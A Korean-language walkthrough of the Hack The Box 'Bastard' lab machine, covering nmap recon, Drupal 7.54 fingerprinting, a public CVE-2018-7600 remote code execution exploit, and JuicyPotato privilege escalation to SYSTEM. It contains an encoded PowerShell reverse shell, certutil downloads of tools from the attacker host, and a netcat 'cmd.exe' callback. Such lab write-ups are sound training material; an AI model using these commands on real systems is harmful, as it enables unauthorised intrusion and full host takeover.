Machine Summary

Bastard는 쉬운 난이도의 Windows 머신입니다. 호스트는 CVE-2018-7600에 취약한 웹서비스가 구동되고 있었고, web.config 파일이 올바르게 설정되지 않아 공격자는 손쉽게 Drupal의 버전 체크 및 exploit이 가능했습니다. RCE를 통해 시스템에 접근한 공격자는, SeImpersonatePrivilege권한을 악용하여 시스템 권한까지의 권한 상승이 가능합니다.


Recon

nmap 10.129.237.222 -sC -sV -Pn -n > nmap_detail
cat nmap_detail
 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-11 06:30 +0900
Nmap scan report for 10.129.237.222
Host is up (0.066s latency).
 
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Welcome to Bastard | Bastard
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.75 seconds

HTTP

웹사이트를 방문해보니, Drupal를 사용한 웹사이트가 확인됩니다. Drupal은 php기반의 오픈소스 CMS입니다.

Drupal의 버전에 따라 웹 루트의 CHANGELOG.txt혹은 core/lib/Drupal.php경로에서 Drupal 버전을 확인 할 수 있습니다. (운영자가 web.config을 통해 접근 차단 설정을 하지 않은 경우에만 체크 가능). 운이 좋게도, CHANGELOG.txt에 엑세스 권한이 있었으며, 버전이 7.54인 것을 알 수 있었습니다.


Initial Foothold

Drupal 7.54 exploit에 대해 구글링을 해보면, 다음 Exploit 을 찾을 수 있습니다. 따로 익스플로잇을 수정할 필요 없이 다운로드 후 실행하면 동작했습니다.

┌──(kali㉿kali)-[~/Downloads/labs/Bastard/CVE-2018-7600]
└─$ python drupa7-CVE-2018-7600.py -c 'whoami' http://10.129.237.222 
 
=============================================================================
|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |
|                              by pimps                                     |
=============================================================================
 
[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-6tWykN0HMOTYs86drrdkv2CaNncKxxhRcc0OKc1uOYQ
[*] Triggering exploit to execute: whoami
nt authority\iusr

RCE가 동작하는걸 확인했으니, 리버스쉘을 받아보겠습니다. 파워쉘 페이로드는 nishang의 리버스쉘을 사용할 것입니다. 해당 파일은 Github에서 찾을 수 있습니다. 타겟 머신이 윈도우이므로, utf-16 리틀엔디안 인코딩을 반드시 해 주어야 합니다. 이후 exploit에 페이로드로 사용하여, 리버스 쉘을 얻습니다.

┌──(kali㉿kali)-[~/Downloads/labs/Bastard/CVE-2018-7600]
└─$ cat Invoke-PowerShellTcpOneLine.ps1                                         
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.146',443);...<SNIP>...Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
 
┌──(kali㉿kali)-[~/Downloads/labs/Bastard/CVE-2018-7600]
└─$ cat Invoke-PowerShellTcpOneLine.ps1 | iconv -f utf-8 -t utf-16le | base64 -w0
JABjAGwA...<SNIP>...HMAZQAoACkACgA=
 
──(kali㉿kali)-[~/Downloads/labs/Bastard/CVE-2018-7600]
└─$ python drupa7-CVE-2018-7600.py -c 'powershell /enc JABjAGwA...<SNIP>...HMAZQAoACkACgA=' http://10.129.237.222
 
┌──(kali㉿kali)-[~/Downloads/labs/Bastard/CVE-2018-7600]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.146] from (UNKNOWN) [10.129.213.174] 49163
PS C:\inetpub\drupal-7.54> whoami
nt authority\iusr

Privilege Escalation

현재 사용자 계정에 SeImpersonatePrivilege가 활성화된 것을 확인했습니다. 이를 이용해 Potato Familiy를 통한 권한 상승을 노려볼 수 있습니다. 타겟 머신이 상당히 구형인 windows server 2008인 점을 보아, JuicyPotato를 가장 먼저 사용해 볼 수 있습니다.

PS C:\inetpub\drupal-7.54> whoami /all
 
USER INFORMATION
----------------
 
User Name         SID     
================= ========
nt authority\iusr S-1-5-17
 
 
GROUP INFORMATION
-----------------
 
Group Name                           Type             SID          Attributes                                        
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label            S-1-16-12288                                                   
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
..<SNIP>..
group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
 
 
PRIVILEGES INFORMATION
----------------------
 
Privilege Name          Description                               State  
======================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking                  Enabled
SeImpersonatePrivilege  Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects                     Enabled
 
 
PS C:\inetpub\drupal-7.54> systeminfo
 
Host Name:                 BASTARD
OS Name:                   Microsoft Windows Server 2008 R2 Datacenter 
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
System Type:               x64-based PC
<SNIP>

JuicyPotatonc64.exe를 타겟 서버에 업로드합니다. python과, certutil를 활용해 쉽게 파일을 전송할 수 있습니다.

┌──(kali㉿kali)-[~/Downloads/labs/Bastard/CVE-2018-7600]
└─$ python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80
 
PS C:\windows\tasks> certutil -urlcache -f -split http://10.10.14.146/nc64.exe nc64.exe
****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.
PS C:\windows\tasks> certutil -urlcache -f -split http://10.10.14.146/JuicyPotato.exe JuicyPotato.exe
****  Online  ****
  000000  ...
  054e00
CertUtil: -URLCache command completed successfully.
PS C:\windows\tasks> dir
 
 
    Directory: C:\windows\tasks
 
 
Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
-a---         11/4/2026   2:36 ??     347648 JuicyPotato.exe                   
-a---         11/4/2026   2:35 ??      45272 nc64.exe                          
-a---         14/7/2009   8:06 ??       7864 SCHEDLGU.TXT

마지막으로 JuicyPotato를 통한 권한 상승을 시도하지만, 실패했습니다.

PS C:\windows\tasks> .\JuicyPotato.exe -t * -p cmd.exe -l 12345 -a "/c C:\windows\tasks\nc64.exe 10.10.14.146 80 -e cmd.exe"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 12345
COM -> recv failed with error: 10038

다른 CLSID를 지정하여 다시 시도해보겠습니다. exploit에 사용할 CLSID 목록은 Github에서 확인할 수 있습니다.

PS C:\windows\tasks> .\JuicyPotato.exe -t * -p cmd.exe -l 12345 -a "/c C:\windows\tasks\nc64.exe 10.10.14.146 80 -e cmd.exe" -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 12345
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
 
[+] CreateProcessWithTokenW OK
 
┌──(kali㉿kali)-[~/Downloads/labs/Bastard/CVE-2018-7600]
└─$ rlwrap nc -nlvp 80
listening on [any] 80 ...
connect to [10.10.14.146] from (UNKNOWN) [10.129.213.174] 49173
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 
C:\Windows\system32>whoami
whoami
nt authority\system
 
C:\Windows\system32>

성공적으로 칼리에서 리버스쉘을 받았습니다! 플래그는 Administratordimitris유저의 홈 - 데스크탑에서 확인할 수 있습니다